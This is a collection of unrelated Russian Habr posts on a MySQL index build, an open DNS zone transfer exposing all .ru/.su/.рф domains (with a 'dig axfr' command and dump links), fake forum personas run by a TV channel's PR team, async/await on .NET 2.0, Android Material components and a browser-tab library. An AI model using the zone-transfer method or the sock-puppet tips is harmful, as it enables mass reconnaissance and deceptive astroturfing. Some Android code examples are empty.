| раз | 22508 | целого | 1492 | шикарного | 150 | гервериты | 15 |
| теперь | 22488 | Ейбогу | 1492 | предприятиями | 150 | Харрены | 15 |
| не | 22450 | начну | 1492 | поволокой | 150 | гиазира | 15 |
| тебе | 22107 | снимок | 1492 | Дроздов | 150 | Котлеткин | 15 |
| ему | 22014 | Поймите | 1491 | действительных | 150 | черномагическое | 15 |
| сказал | 21970 | встреч | 1491 | послушается | 150 | Дурневу | 15 |
| нас | 21950 | жаром | 1491 | туманном | 150 | Котлеткина | 15 |
| глаза | 21763 | прыгать | 1491 | выезду | 150 | Спуриус | 15 |
| кто | 21740 | вообразить | 1491 | Равнодушная | 150 | РОБУСГРОБУС | 15 |
| себя | 21656 | загадка | 1491 | привычны | 150 | Йоха | 15 |
| будет | 21642 | василий | 1491 | именуемого | 150 | Тетлуцоакля | 15 |
| один | 21576 | звучало | 1490 | валерьянки | 150 | Яраат | 15 |
| потом | 21438 | связана | 1490 | смахивало | 150 | маголодий | 15 |
| быть | 21415 | смирно | 1490 | ядрами | 150 | Лигулом | 15 |
| люди | 21368 | медленнее | 1490 | отвечающие | 150 | Ламаса | 15 |
| жизнь | 21322 | вчерашнего | 1489 | нарисованным | 150 | Варнана | 15 |
| правда | 20972 | тонкими | 1489 | слышное | 150 | Белирии | 15 |
| с | 20645 | поведал | 1489 | лесенки | 150 | Нимробец | 15 |
| только | 20603 | нырнул | 1489 | водяными | 150 | Дюнка | 15 |
| жизни | 20517 | возвращении | 1489 | безудержной | 150 | Легиара | 15 |
| о | 20516 | флаг | 1489 | цивилизациями | 150 | Чарлок | 15 |
| ли | 20450 | кверху | 1489 | скандальной | 150 | Мидуинтер | 15 |
| больше | 20328 | зов | 1489 | англичанину | 150 | Уклод | 15 |
| сказать | 20318 | верность | 1489 | протестовали | 150 | Зорик | 15 |
| себе | 20299 | сменил | 1488 | задушу | 150 | запределье | 15 |
| чем | 20291 | серьезного | 1488 | круглому | 150 | Бьярта | 15 |
| тогда | 20244 | смена | 1488 | кастрюльку | 150 | Ренальдо | 15 |
| лучше | 20047 | владимир | 1488 | тогдашним | 150 | Самоненко | 15 |
| вам | 20024 | атмосферу | 1487 | насмешливая | 150 | Дюшка | 15 |
| дальше | 19819 | убежала | 1487 | предельную | 150 | Морфичев | 15 |
| где | 19600 | противоположной | 1487 | реву | 150 | Варыкин | 15 |
| руки | 19545 | плаще | 1487 | дьявольскую | 150 | Грызач | 15 |
| делать | 19525 | фыркнула | 1487 | мясе | 150 | Цончик | 15 |
| если | 19522 | старшим | 1487 | туфельках | 150 | Гроулис | 15 |
| на | 19444 | начинался | 1487 | нарекли | 150 | Лебединская | 15 |
| лет | 19444 | тащить | 1487 | минеральную | 150 | Валюшок | 15 |
| дома | 19361 | парой | 1487 | преданиях | 150 | Яхотела | 15 |
| него | 19096 | отступить | 1487 | захлопнулся | 150 | Щааас | 15 |
| слова | 19026 | непонятное | 1487 | такието | 150 | Гугима | 15 |
| можно | 18966 | приветливо | 1487 | авантюристы | 150 | глонгов | 15 |
| этого | 18860 | вдова | 1487 | романтическим | 150 | Оберпоручик | 15 |
| день | 18772 | ошиблась | 1486 | дубленку | 150 | Бекхэма | 15 |
| зачем | 18730 | отдали | 1486 | дотрагиваясь | 150 | Вкаком | 15 |
| людей | 18680 | отдала | 1486 | вылечили | 150 | Кутеванова | 15 |
| тоже | 18583 | подождем | 1486 | красила | 150 | копачей | 15 |
| был | 18450 | свежей | 1486 | ответственную | 150 | Стробач | 15 |
| бы | 18438 | свежие | 1486 | культурными | 150 | Зонова | 15 |
| значит | 18361 | фото | 1486 | смешения | 150 | Портфелия | 15 |
| человека | 18312 | раб | 1486 | прочтете | 150 | Лаэль | 15 |
| ним | 18293 | фонари | 1485 | интимную | 150 | Бепе | 15 |
| вопрос | 18276 | обстановки | 1485 | продовольственные | 150 | кластапуги | 15 |
| назад | 18186 | успев | 1485 | недостойной | 150 | Куплинг | 15 |
| нам | 18167 | поведении | 1485 | Содрогнувшись | 150 | Куплинга | 15 |
| или | 18155 | предмета | 1485 | новоприбывших | 150 | Столоки | 15 |
| такое | 18116 | результата | 1485 | ошейнике | 150 | Мощина | 15 |
Всего было обработано 90 611 059 предложений.
Забыв сразу сделать индекс по числовому полю я столкнулся с серьезной проблемой. После того, как получилась таблица в 58 миллионов записей и размером в 12 GB индекс строился по ней больше суток и так и не построился. Выручил
`myisam_sort_buffer_size=1024MB`
установленный в 1 GB, индекс построился за часы.
Ps. Конфигурация сервера: AMD Athlon(tm) II X4 635 Processor, 16 gb DDR3,WDC WD7500AACS-00D6B1 | https://habr.com/ru/post/138172/ | null | ru | null |
# Список доменов в зоне ru/su/tatar/рф/дети доступен публично из-за некорректной настройки DNS
Начиная с 6 июня, на части DNS, обслуживающих российские доменные зоны, разрешен трансфер (AXFR), который позволяет получить полный список доменных имен зон **.ru**, **.su**, **.tatar**, **.рф** и **.дети**.
AXFR-запрос доступен на следующих серверах:
* a.dns.ripn.net
* b.dns.ripn.net
* d.dns.ripn.net
Чтобы получить все домены зоны, можно воспользоваться утилитой **dig** из состава BIND:
```
$ dig axfr su. @a.dns.ripn.net
; <<>> DiG 9.10.4-P8-RedHat-9.10.4-5.P8.fc25 <<>> axfr su. @a.dns.ripn.net
;; global options: +cmd
SU. 345600 IN SOA a.dns.ripn.net. hostmaster.ripn.net. 650170097 86400 14400 2592000 3600
SU. 345600 IN RRSIG SOA 8 1 345600 20170728095315 20170618085528 12810 su. AMqjxdOOp9rIVMk9gvH6TiXEB8FAWZn0xbqxxYxsQMYrqCUE49AXSUQ1 nESJ//bPE8g7mNa/KCqrt21icAOG6+gzwes+TZ2nu62dwbwH3IeEoxry GZ+uEIGlQfjPC6AxRuPELnaKRpLUy+Ir28ScJDLjIBewVs3J7zAHXw/K bYU=
SU. 345600 IN NS a.dns.ripn.net.
SU. 345600 IN NS b.dns.ripn.net.
SU. 345600 IN NS d.dns.ripn.net.
SU. 345600 IN NS e.dns.ripn.net.
SU. 345600 IN NS f.dns.ripn.net.
…
0--0.SU. 345600 IN NS ns1.shop.reg.ru.
0--0.SU. 345600 IN NS ns2.shop.reg.ru.
0--GDE-KUPIT-DOMEN-DESHEVO--RU--SU--COM--NET--ORG--INFO--ME--TV.SU. 345600 IN NS ns1.hostmonster.com.
0--GDE-KUPIT-DOMEN-DESHEVO--RU--SU--COM--NET--ORG--INFO--ME--TV.SU. 345600 IN NS ns2.hostmonster.com.
0-0.SU. 345600 IN NS dns1.yandex.net.
0-0.SU. 345600 IN NS dns2.yandex.net.
0-0-0.SU. 345600 IN NS ns1.shop.reg.ru.
0-0-0.SU. 345600 IN NS ns2.shop.reg.ru.
0-1.SU. 345600 IN NS dns1.elasticweb.org.
0-1.SU. 345600 IN NS dns2.elasticweb.org.
0-3.SU. 345600 IN NS ns1.timeweb.ru.
0-3.SU. 345600 IN NS ns2.timeweb.ru.
0-4.SU. 345600 IN NS ns.hostland.ru.
0-4.SU. 345600 IN NS ns3.hostland.ru.
…
```
Есть даже ASCII-арт:
```
0--0------A1--------------------------------------------------1.RU. 345600 IN NS ns-de.bible.ru.
0--0------A1--------------------------------------------------1.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A1--------------------------------------------------1.RU. 345600 IN NS ns-ru.bible.ru.
0--0------A2--BBBBB--I-BBBBB--L------EEEEEE-----RRRRR--U----U-2.RU. 345600 IN NS ns-de.bible.ru.
0--0------A2--BBBBB--I-BBBBB--L------EEEEEE-----RRRRR--U----U-2.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A2--BBBBB--I-BBBBB--L------EEEEEE-----RRRRR--U----U-2.RU. 345600 IN NS ns-ru.bible.ru.
0--0------A3--B----B-I-B----B-L------E----------R----R-U----U-3.RU. 345600 IN NS ns-de.bible.ru.
0--0------A3--B----B-I-B----B-L------E----------R----R-U----U-3.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A3--B----B-I-B----B-L------E----------R----R-U----U-3.RU. 345600 IN NS ns-ru.bible.ru.
0--0------A4--BBBBB--I-BBBBB--L------EEEEE------R----R-U----U-4.RU. 345600 IN NS ns-de.bible.ru.
0--0------A4--BBBBB--I-BBBBB--L------EEEEE------R----R-U----U-4.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A4--BBBBB--I-BBBBB--L------EEEEE------R----R-U----U-4.RU. 345600 IN NS ns-ru.bible.ru.
0--0------A5--B----B-I-B----B-L------E----------RRRRR--U----U-5.RU. 345600 IN NS ns-de.bible.ru.
0--0------A5--B----B-I-B----B-L------E----------RRRRR--U----U-5.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A5--B----B-I-B----B-L------E----------RRRRR--U----U-5.RU. 345600 IN NS ns-ru.bible.ru.
0--0------A6--B----B-I-B----B-L------E----------R---R--U----U-6.RU. 345600 IN NS ns-de.bible.ru.
0--0------A6--B----B-I-B----B-L------E----------R---R--U----U-6.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A6--B----B-I-B----B-L------E----------R---R--U----U-6.RU. 345600 IN NS ns-ru.bible.ru.
0--0------A7--BBBBB--I-BBBBB--LLLLLL-EEEEEE--0--R----R--UUUU--7.RU. 345600 IN NS ns-de.bible.ru.
0--0------A7--BBBBB--I-BBBBB--LLLLLL-EEEEEE--0--R----R--UUUU--7.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A7--BBBBB--I-BBBBB--LLLLLL-EEEEEE--0--R----R--UUUU--7.RU. 345600 IN NS ns-ru.bible.ru.
0--0------A8--------------------------------------------------8.RU. 345600 IN NS ns-de.bible.ru.
0--0------A8--------------------------------------------------8.RU. 345600 IN NS ns-nl.bible.ru.
0--0------A8--------------------------------------------------8.RU. 345600 IN NS ns-ru.bible.ru.
```
| Зона | Количество доменов |
| --- | --- |
| .ru | 5231919 |
| .su | 105036 |
| .tatar | 859 |
| .рф | 792993 |
| .дети | 1063 |
Зона **.ru** содержит в себе 5.1% всех мировых доменов, уступая только первой по популярности зоне **.com**.
Данная особенность DNS была обнаружена [mandatoryprogrammer (Matthew Bryant)](https://github.com/mandatoryprogrammer), который давно занимается отслеживанием изменений всех доменных зон автоматизированными средствами. Зона .ru такая большая, что его ПО упало от недостатка оперативной памяти. В прошлом году он обнаружил [возможность получения всех доменов северокорейской зоны .kp](https://habrahabr.ru/post/310550/), используя этот же метод.
Дампы зон, сжатые xz, можно скачать через Bittorrent и [I2P Bittorrent](http://geti2p.net/), [torrent-файлом](https://my.mixtape.moe/znqnfl.torrent) или по следующей Magnet-ссылке:
```
magnet:?xt=urn:btih:3457106ce62b2707639978d802e20567e278aa39&dn=Russian%20domain%20zones&tr=udp%3a%2f%2ftracker.leechers-paradise.org%3a6969&tr=udp%3a%2f%2ftracker.coppersurfer.tk%3a6969%2fannounce&tr=udp%3a%2f%2fp4p.arenabg.com%3a1337%2fannounce&tr=udp%3a%2f%2ftracker.zer0day.to%3a1337%2fannounce
```
Не обязательно их распаковывать, можно работать с ними в сжатом виде. Используйте **xzcat** вместо cat, **xzdiff** вместо diff, **xzgrep** вместо grep, **xzless** вместо less.
**UPD 19.06.2017**: AXFR отключили. | https://habr.com/ru/post/331144/ | null | ru | null |
# Когда вирусный маркетинг хуже троллинга
Копирайтеры с телевидения пытаются освоить интернет-территорию. И делает это, э-э-э… как бы это помягче выразиться, грубовато.
Телеканал СТС имеет свою PR-службу, в число задач которой входит проводить вирусный маркетинг. Под вирусным маркетингом они понимают накал страстей в форумах и гостевых
На сайтах оставляют записи грамотно с технической точки зрения:
— заходят с разных IP (или передают обрабатывающему скрипту разные IP),
— стараются писать в разное время (или передают обрабатывающему скрипту разное время).
Но это попытка не попасть на крючок модератору. Потому что темы, персонажи, и язык, которым пишут в гостевые и форумы примитивны, и это их выдает.
Вроде бы странно: телеканал СТС создает хорошие сериалы, пишет неплохие сценарии, имеет в штате сценаристов, могли бы и создать виртуальных персонажей поумнее.
Чтобы картина была нагляднее, привожу последний пример. На канале сейчас самый рейтинговый сериал «Ранетки» (январь 2009). Там снимается одноименная группа. Из нее месяц назад ушла солистка Лера, при чем известно, что она была в амурных отношениях с продюсером, а тут они расстались. Ну, расстались и расстались, что делать, всякое в жизни бывает. Но это ведь тема для вирусного маркетинга! На форумах появляются послания:
`Лера Ранетка! Я с тобой! Мы с тобой!
Ты держись! Мы очень надеемся, что ты вернешься в группу.
ОБРАЩЕНИЕ К ПРОДЮСЕРУ И ДЕВЧОНКАМ РАНЕТКАМ:
может она сделала что то и не так, вы простите ее. За все эти годы вы стали огромной, большой семьей. Разве так можно променять какую то Аню из по пальцам пересчитать, группы?? на Леру? Ранетки, вы в курсе что из-за такого вас никто и слушать не станет.
БОЛЬШАЯ ПРОСЬБА, ОТВЕТЬТЕ МНЕ ПО ПОВОДУ ЭТОГО. Или пусть Ранетки здесь мне ответят. Я буду ждать. Если что, не обижайтесь на меня:) Это мои мысли, и мысли других фанатов. Я очень жду от вас ответа:)
Как жалко что Лера уходит из "РАНЕТОК".
Без нее группа будет не той
лерка держись я и мы с тобой
Лерочка не уходи!!!!!!!!!!!!!!!!!!!
ПОЖАЛУЙСТА!!!!!!!!!!!!!!!!!!!!!!
Лера,ты же была солисткой?как без тебя Ранетки будут?Не уходи,пожалуйста!!!
Лерочка, ты очень красивая девочка без тебя в действительности группа распадется, нельзя заменить солистку группы на какую то другую. да я на сто процентов уверена что у нее ничего не получиться. Лерик, возвращайся тебя на сцене хватать не будет любого человека можно простить просто человеком надо быть. Лера а ты очень хорошая.`
Ну, и так далее. Это начало. Потом PR-служба решает добавить масла в огонь. Появляется некий новый персонаж, настроенный негативно:
`ПРОДЮСЕР ТЫ КРЕТИН! ВЕРНИ ЛЕРУ!!!!!!!!!!!!!
БЕЗ ЛЕРЫ ВАША ГРУППА ГОВНО!!!!!!!!!!
ПРОДЮСЕР!САМ УХОДИ ИЗ ГРУППЫ А ЛЕРУ ВЕРНИ!!!!!!!!!!!`
И уже следом появляется еще один агрессивно настроенный персонаж, уже против предыдущего:
`стася лерке надо было раньше думать когда она спала с продюсером! сама она дура!
без продюсера и группы бы не было а без лерки группа обойдется!`
Вот такую милую обстановку создают пиарщики. И они абсолютно уверены, что это и есть вирусный маркетинг. На самом деле никакого отношения к вирусному маркетингу эта деятельность не имеет. Это всего лишь информационная провокация, и только (спасибо за подсказку [ant99](http://ant99.habrahabr.ru/)). Но какая цель? Провокация провокации? А потом провокация провокации провокации?
С недавних пор я модерирую один региональный форум СТС. Как я определяю, что эти записи от пиарщиков, а не настоящих пользователей? Элементарно:
— Если удаляю какие-то записи достаточно оперативно, они появляются слово в слово через пару дней. Видимо пиарщики не ведут учет, где и что написали.
— Появляются записи сериями по 5-6 штук в течение 15 минут, а потом перерыв на 2-3 дня.
— Попытки замаскировать под разные стили написания очень примитивны и постоянно повторяются. Это отдельная и интересная тема, за которой я давно слежу: так же как у каждого человека свой почерк, у каждого свой стиль написания в форумы.
— Все слова в записях написаны грамотно! Ни одной ошибки в тся-ться! Зато пунктуационные ошибки делаются нарочито разнообразно.
— Время реальное и время, которое передают в форму, разное.
— И главное: тон всех посланий абсолютно одинаковый. Видимо был составлен некий один персонаж, и этот персонаж ужасен: эдакая 12-13 летняя истеричка, с утра до вечера глядящая телевизор, не политкорректная, задиристая, примитивная, агрессивно настроенная, неспособная уважать чужую точку зрения.
Последний пункт ключевой. Согласимся, что действительно, такие персонажи в сети есть. Но неужели СТС хочет видеть свою публику только такой? Ведь через гостевые и форумы СТС пытается сформировать мнение о своей публике, создает некий фон. Давайте подумаем, захочет хоть один нормальный человек ввязываться в общение в такой атмосфере? Пиар-служба фактически вытесняет из зоны общения интернет-аудитории реальных поклонников.
Я сам недавно столкнулся с проблемой: интересуюсь проектом «6 кадров» и довольно много полазил по форумам и гостевым. И везде наталкиваюсь на удручающую картину. Все забито одинаковыми сообщениями, пустыми и отрицательно-эмоциональными.
В статье о [троллинге в википедии](http://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%BE%D0%BB%D0%BB%D0%B8%D0%BD%D0%B3) хорошо расписано, что тролль, который получает власть на форуме, фактически закрывает его. PR-служба СТС сама методично закрывает все формы и гостевые, создав троллинг-машину.
Я это почувствовал по модерированию собственного форума. Он давно опустел. На него не заходит ни кто, кроме пиарщиков раз в 2-3 дня на 15 минут. Создают невыносимую обстановку и с чувством выполненного долга исчезают.
#### Какие можно сделать выводы?
Конечно, первый вывод, который напрашивается: телевизионные копирайтеры тупые, а мы, копирайтеры из интернета умные. Но это было бы слишком просто.
Поэтому выводы хочу сделать другие:
1. Если у вас форум или коллективный блог, и вы хотите для начала сделать вид, что движуха у вас есть, не пытайтесь в одиночку писать за разных персонажей — у каждого человека свой стиль, и фальшь будет быстро раскрыта. Заручитесь поддержкой друзей или знакомых, кто тоже интересуется темой, и пишите вместе.
2. Если Вы создаете виртуальных персонажей, от имени которых собираетесь писать, то подумайте сначала, каких личностей вы хотите видеть. С каким настроением вы хотите, что бы к вам приходили. А потом уже пишите, следуя портрету.
3. Если вы решились создавать виртуальных персонажей, попытайтесь сделать их максимально позитивными, умными, интересными.
4. Будьте готовы к тому, что виртуалов ваших раскроют. Честно признайтесь и извинитесь.
5. Тролли есть на просторах интернета, но их нельзя кормить. И уж тем более их не стоит создавать, как виртуальных персонажей.
6. Ищите способы не создавать виртуальных персонажей вовсе. | https://habr.com/ru/post/47660/ | null | ru | null |
# Используем фичи C# 5 (async и await) в .NET 2.0
*Посвящается тем [45% .NET разработчиков](http://habrahabr.ru/post/169029/), что до сих пор сидят на фремворках 2.0-3.5.*
Да, вы не ослышались. async и await во втором дотнете. Но обо всём по порядку.
##### Зачем?
В какой-то момент мне надоело вручную возиться с написанием асинхронного кода. Async/awat выглядели слишком вкусными, чтобы не попробовать. Зная, что Microsoft при добавлении новых возможностей в язык и компилятор не привязывает их жёстко к фреймворку (так, extension-методы и LINQ отлично можно использовать во втором .NET, если где-нибудь объявить System.Runtime.CompilerServices.ExtensionAttribute), и видя Async CTP, добавляющего возможность использования async/await в 2010-ую студию при использовании в качестве целевого фреймворка .NET 4.0, я подумал, а почему бы и нет?
##### Путь
Изучая результаты деятельности компилятора и зависимости классов фреймворка, я понял, что добавлением одного атрибута без кода тут не обойдёшься. Нужна полноценная реализация, но где же её взять? И тут на помощь приходит Mono с его реализацией BCL под лицензией MIT. Что ж, нагло качаем [Mono 3.10.1](http://download.mono-project.com/sources/mono/mono-3.0.10.tar.bz2) и выдёргиваем подчистую System.Threading.Tasks и необходимые классы из System.Runtime.CompilerServices. Они по зависимостям тянут ну очень много чего, но по большей части всё решается простым копированием. Проблем возникает две:
1) OperationCanceledException ничего не знает про CancellationToken. Создаём класс OperationCancelledExceptionExt, который знает. Кидает его CancellationToken.ThrowIfCancelled, так что знать про него нашему коду не обязательно.
2) ExceptionDispatchInfo. Вот тут начинаются настоящие проблемы. Класс позволяет не потерять стектрейс при повторном выбросе исключения, что очень полезно для async/await, ради которых всё и затевалось. Mono реализует его через internal-метод своей реализации класса Exception, так что эти исходники нам не очень-то помогут. Что ж, лезем в исходники фреймворка. После беглого анализа понимаем, что есть некий механизм, используемый рантаймом для поддержки стектрейсов при использовании Remoting.
Анализируем, выдаём вот такой код (извлечение нужных Field/MethodInfo и сохранение состояния в другом месте):
```
public void Throw ()
{
try
{
throw _exception;
}
catch
{
InternalPreserveStackTrace.Invoke (_exception, new object[0]);
RemoteStackTrace.SetValue (_exception, _stackTrace);
Source.SetValue (_exception, _source);
throw;
}
}
```
Получаем поведение, близкое к необходимому:
> The exception is thrown as if it had flowed from the point where it was captured to the point where the Throw method is called.
За неимением лучших решений оставляем так.
Компилируем, подключаем к проекту… Наблюдаем картину: async/await работают, но зачем-то помечены красным. Лечится выставлением правильной версии языка в свойствах проекта.
##### Как пользоваться
Для сборки средствами Visual Studio 2010 необходима установка [Async CTP](http://www.microsoft.com/en-us/download/details.aspx?id=9983). Для установки необходимо выполнить ряд неочевидных действий, таких как предварительное удаление MVC3 и *всех* обновлений на студию, вышедшие после SP1.
В Visual Studio 2012 я не проверял, но должно завестись.
Далее подключаем к проекту [MonoLib.dll](https://github.com/kekekeks/MonoLib) и пользуемся, не забыв выставить в свойствах проекта, что у нас C# 5. Небольшая демка лежит там же.
##### Дополнения и улучшения
Поскольку для сборки тасков нужны были Tuple и перегрузки Action/Func, было принято решение не мелочиться и запихнуть в библиотеку и LINQ2Objects. При желании можете удалить.
Был создан класс MonoLib.Async.Extensions, куда было добавлено несколько полезных методов-расширений, половина из которых скопипащена с небольшими изменениями из вот [этого документа](http://www.microsoft.com/en-us/download/details.aspx?id=19957). Кстати, документ настоятельно рекомендую прочитать, подробно изложено, как правильно пользоваться тасками и async/await, а так же как правильно оборачивать в них код, использующий иные модели асинхронных вызовов.
Исходники MonoLib.dll (заимствования из Mono + правки + ExceptionDispatchInfo) доступны на [GitHub](https://github.com/kekekeks/MonoLib), улучшить решение в ваших силах. | https://habr.com/ru/post/179381/ | null | ru | null |
# Обзор нововведений Android Design Support Library v28
И снова здравствуйте.
Приближаем к дате запуска наш новый курс [«Разработчик Android»](https://otus.pw/AKWT/), осталось всего ничего и осталось немного интересных материалов, которыми делимся со всеми, в том числе и потенциальными слушателями.
Поехали.
Недавно была анонсирована 28 версия Android Support Library. В текущей альфа-версии у нас появился доступ к набору новых интересных компонентов. В этой статье я хочу взглянуть на дополнения, которые были внесены в библиотеку Support Library в виде компонентов Material View.
**Material Button**
MaterialButton — это виджет, который можно использовать для отображения кнопки в материальном стиле в пользовательском интерфейсе приложений. Этот класс наследуется от класса AppCompatButton, который вы, вероятно, уже используете в своих проектах, но в чем отличия? По умолчанию эта кнопка уже будет оформлена с материальным внешним видом без необходимости настраивать ее самостоятельно, используя флаг стиля. Мы можем использовать класс MaterialButton таким, какой он есть, ведь у него уже будет материальный внешний вид, который нам и нужен — рассматривайте его как более удобный класс.
Мы можем добавить эту кнопку в наш layout-файл следующим образом:
```
```
По умолчанию этот класс будет использовать акцентный цвет вашей темы для заполнения фона кнопок и белый цвет для текста на них. Если кнопка не заполняется, то тогда акцентный цвет будет использоваться для цвета текста на кнопке вместе с прозрачным фоном.
Если мы захотим добавить к кнопке некоторые дополнительные стили, мы можем сделать это, используя набор атрибутов стиля **MaterialButton**.
* **app:icon** — Используется для определения отображаемого изображения в начале кнопки
* **app:iconTint** — Используется для изменения цвета иконки, определенной в атрибуте app:icon
* **app:iconTintMode** — Определяет режим, который будет использоваться для изменения цвета иконки
* **app:iconPadding** — Отступ, который будет применяться к иконке, определенной в атрибуте app:icon
* **app:additionalPaddingLeftForIcon** — Определяет отступ, который будет применяться слева от иконки, определенной в атрибуте app:icon
* **app:additionalPaddingRightForIcon** — Определяет отступ, который будет применяться справа от иконки, определенной в атрибуте app:icon
* **app:rippleColor** — Цвет эффекта пульсации кнопки
* **app:backgroundTint** — Используется для применения оттенка к фону кнопки. Если вы хотите изменить цвет фона кнопки, используйте этот атрибут вместо background, чтобы не нарушать стиль кнопок
* **app:backgroundTintMode** — Используется для определения режима, который будет применятся для изменения оттенка фона
* **app:strokeColor** — Цвет обводки кнопки
* **app:strokeWidth** — Ширина обводки кнопки
* **app:cornerRadius** — Используется для определения радиуса сглаживания углов кнопки
**Chip**
Компонент Chip позволяет отображать чипы в нашем layout. По сути, чип — это некоторый текст на закругленном фоне. Его цель заключается в отображении пользователю некой формы текстового набора, который может или не может быть выбран. Например, чипы могут использоваться для отображения списка выбираемых предложений для пользователя на основе текущего контекста в вашем приложении.
Мы можем добавить Chip в наш layout, используя, например, атрибут **`app:chipText`**, чтобы установить текст, который будет отображаться на чипе:
Существует также набор других атрибутов, которые можно использовать для дальнейшей стилизации чипа:
* **app:checkable** — Используется для объявления, может ли чип быть помечен как выбран/не выбран. Если отключено, выбор чипа ведет себя так же, как и с кнопкой
* **app:chipIcon** — Используется для отображения иконки в чипе
* **app:closeIcon** — Используется для отображения иконки удаления в чипе
Мы также можем повесить слушателей на наши экземпляры чипов. Они могут быть полезны для отслеживания взаимодействий пользователей. Если наш чип можно выбрать, скорее всего, мы захотим узнать, когда это состояние было изменено. Мы можем сделать это с помощью слушателя **`setOnCheckedChangeListener`**:
```
some_chip.setOnCheckedChangeListener { button, checked -> }
```
То же самое применимо и если мы хотим слушать взаимодействия с иконкой удаления. Для этого мы можем использовать функцию **`setOnCloseIconClickListener`** для регистрации событий удаления:
```
some_chip.setOnCloseIconClickListener { }
```
**Chip Group**
Если мы показываем набор чипов нашим пользователям, мы хотим убедиться, что они правильно сгруппированы вместе в нашем представлении. Для этого мы можем использовать компонент представления **ChipGroup**:
Если мы хотим использовать **ChipGroup**, нам просто нужно обернуть наши **ChipView** в родительский компонент **ChipGroup**:
```
//больше чипов...
```
По умолчанию ваши **ChipView** могут казаться немного прижатыми друг к другу. Если это так, вы можете добавить интервал к дочерним представлениям, используя следующие атрибуты ChipGroup:
* **app:chipSpacing** — Добавляет расстояние как по горизонтали, так и по вертикали
* **app:chipSpacingHorizontal** — добавляет расстояние по горизонтали
* **app:chipSpacingVertical** — добавляет расстояние по вертикали
Мы также можем объявить наши дочерние Chip View отображаемыми на одной строке внутри контейнера ChipGroup, используя атрибут **`app:singleLine`**:
При этом вам нужно обернуть ChipGroup в прокручивающееся представление, например **`HorizontalScrollView`**, чтобы ваши пользователи могли прокручивать отображаемые чипы:
```
// больше чипов...
```
**Material Card View**
Вероятно, в наших приложениях мы уже использовали компонент **`CardView`** в какой-то момент. В библиотеке Support Library теперь есть компонент, называемый **`MaterialCardView`**, который предоставляет нам стилизованную под материальный дизайн реализацию из коробки.
CardView можно добавить к вашему layout вот так:
```
... child views ...
```
Вы можете дополнительно стилизовать CardView, используя два его атрибута:
* **app:strokeColor** — Цвет, который будет использоваться для обводки (должен быть установлен для отображения обводки)
* **app:strokeWidth** — Ширина обводки
Вместе с двумя этими атрибутами, вы также можете стилизовать CardView с использованием первоначально доступных атрибутов, таких как **`app:cardBackgroundColor`** и т. д.
**Bottom App Bar**
**`BottomAppBar`** — это новый компонент, который позволяет нам отображать компонент, похожий на панель инструментов, в нижней части нашего layout. Это позволяет нам отображать компоненты для пользователя таким образом, чтобы взаимодействовать с ними было легче, чем, возможно, со стандартной панелью инструментов.
Вы можете добавить **`BottomAppBar`** в свой layout-файл так:
Похоже, что BottomAppBar должен иметь меню, назначенное ему, чтобы оно отображалось на экране. Это можно сделать программно следующим образом:
```
bottom_app_bar.replaceMenu(R.menu.main)
```
Когда дело доходит до стилизации BottomAppBar, есть несколько атрибутов, которые вы можете использовать.
* **app:fabAttached** — указывает, был ли FAB прикреплен к BottomAppBar. Вы можете подключить FAB с помощью app:layout\_anchor в компоненте FAB, который вы хотите подключить, используя идентификатор BottomAppBar. Если FAB прикреплен, он будет вставлен в BottomAppBar, в противном случае FAB останется выше BottomAppBar.
* **app:fabAlignmentMode** — Объявляет позицию FAB, который был прикреплен к BottomAppBar. Это может быть либо конец:
либо центр:
* **app:fabCradleVerticalOffset** — Объявляет вертикальное смещение, которое будет использоваться для прикрепленного FAB. По умолчанию это 0dp
Установка значения dp позволит FAB перемещаться вверх по вертикали:
* **app:backgroundTint** — Используется для изменения оттенка фона представления. Если вы хотите установить цвет фона в представлении, тогда вам нужно использовать атрибут **`android:background`**. Это обеспечит сохранение стабильности представления.
**Заключение**
На мой взгляд, это изящные дополнения к библиотеке Support Library. Я с нетерпением жду возможности использовать компоненты в материальном стиле прямо из коробки и я также рад найти случай, где может использоваться BottomAppBar. Я уверен, что требуется некоторое время, чтобы версия Support Library стала стабильной. Как обычно, я хотел бы услышать ваши мысли или комментарии об этих новых компонентах!
THE END
Ждём ваши комментарии и вопросы, которые можно оставить тут или можете зайти к [Варваре](https://otus.pw/pLZn/) на [день открытых дверей](https://otus.pw/2NxS/). | https://habr.com/ru/post/432328/ | null | ru | null |
# Решение задачи сброса тяжелой логики на одну из множества открытых вкладок
Не так давно я начал разрабатывать библиотеку DuelJS, которая предоставила удобный интерфейс для определения состояния вкладки Master (активная) или Slave (неактивная). Однако позже мне начали поступать предложения для оптимизации соединений по веб-сокетам. Подход DuelJS: если вкладка активна -> держать соединение, если неактивна -> **класть** — является не продуктивным. На помощь приходит расширение TabNinja.
#### Новая логика
Понять старую логику легко взглянув на нижеприведенный скриншот:
TabNinja предлагает новую логику поверх старой:
**Вкладка с логикой** (она же superMaster) всегда одна и всегда есть. Она меняется только лишь в одном случае — при закрытии этой самой вкладки. В этом случае автоматически статус superMaster переходит другой, наиболее старой вкладке из оставшихся вкладок. Проблема избыточных соединений решена.
TabNinja по сути есть одна простая функция:
```
window.isSuperMaster(); // при использовании вместе с duel не путайте с window.isMaster()
```
Вы также можете использовать TabNinja без DuelJS, в этом случае вам стоит использовать файл из репозитория с соответствующей пометкой (tabninja.without\_duel.min.js)
#### Обзор алгоритма работы
Алгоритм TabNinja весьма прост и базируется на localStorage + sessionStorage.
1. Если localStorage недоступен — все вкладки будут являться superMaster
2. Текущая вкладка обращается к переменной контроля аварийности в sessionStorage
3. В случае если переменной нет — устанавливается переменная и удаляется стек активных вкладок
4. Текущая вкладка обращается к стеку активных вкладок через localStorage
5. Если в стеке активных вкладок пусто — создать стек и поместить туда себя
6. Если кто-либо уже присутствует в стеке активных вкладок, значит главный тот кто первый в стеке
7. При закрытии вкладки: вытащить её из стека
#### Полезные ссылки
— [Демо DuelJS без TabNinja](http://dueljs.studentivan.ru/bower_components/duel/public/)
— **[Демо DuelJS с TabNinja](http://dueljs.studentivan.ru/bower_components/tabninja/public/)**
— [Демо TabNinja без DuelJS](http://dueljs.studentivan.ru/bower_components/tabninja/public/index.w.html)
— [Репозиторий TabNinja на GitHub](https://github.com/studentIvan/tabninja)
